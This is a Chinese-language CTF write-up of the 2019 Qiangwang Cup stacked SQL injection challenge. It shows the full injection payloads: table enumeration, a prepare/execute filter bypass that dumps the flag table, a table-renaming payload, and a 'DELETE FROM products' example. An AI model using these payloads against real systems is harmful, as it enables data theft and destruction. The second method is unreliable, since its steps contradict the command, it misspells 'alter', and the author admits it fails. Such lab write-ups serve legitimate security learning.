SQL注入(堆叠注入)——强网杯2019随便注

感谢BUUCTF平台提供题目

0x00 堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

SQL注入-堆叠注入(堆查询注入)

0x01 解题步骤

输入1’ 报错 纯在字符型注入
SQL注入(堆叠注入)——强网杯2019随便注_第1张图片

输入22’;show databases;# 可以查到数据库,纯在堆叠注入

SQL注入(堆叠注入)——强网杯2019随便注_第2张图片
查看表 22’;show tables;#

SQL注入(堆叠注入)——强网杯2019随便注_第3张图片

发现有俩个表,那么flag在哪个表里呢,查询一下每个表的字段。

22’;show columns from words;#
22’;show columns from 1919810931114514;#

SQL注入(堆叠注入)——强网杯2019随便注_第4张图片

在1919810931114514的表里 发现了flag,那么读取这个数据就行了。

0x02 payload

方法一:

通过预处理函数,进行读取数据

MySQL 官方将 prepare、execute、deallocate 统称为 PREPARE STATEMENT。翻译也就习惯的称其为预处理语句。

MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。

payload:

22';Set @b=concat("sele","ct ","* from `1919810931114514`");prepare dump from @b;execute dump;#

方法二:

1.将words表改名为word1或其它任意名字 :    rename table words to new_word;

2.1919810931114514改名为words  :  rename table 1919810931114514 to new_19198;

3.将新的word表插入一列,列名为id : alter table new_19198 add id int unsigned not Null auto_increment primary key;

4.将flag列改名为data : alert table new_19198 change flag data varchar(100);

payload:

1’;rename table words to new_word;rename table 1919810931114514 to new_19198;alter table new_19198 add id int unsigned not Null auto_increment primary key; alert table new_19198 change flag data varchar(100);#

但测试之后,发现这个payload无法进行读取数据,不知道为什么。。。。

结语:
菜鸡的cc师傅,将会持续写出100篇高质量的CTF题目,供大家进行CTF的入门以及进阶,如果觉得文章对您有所帮助,欢迎关注一下cc师傅。

原创文章不易,点个赞再走吧。
SQL注入(堆叠注入)——强网杯2019随便注_第5张图片

你可能感兴趣的:(刷题之旅100站)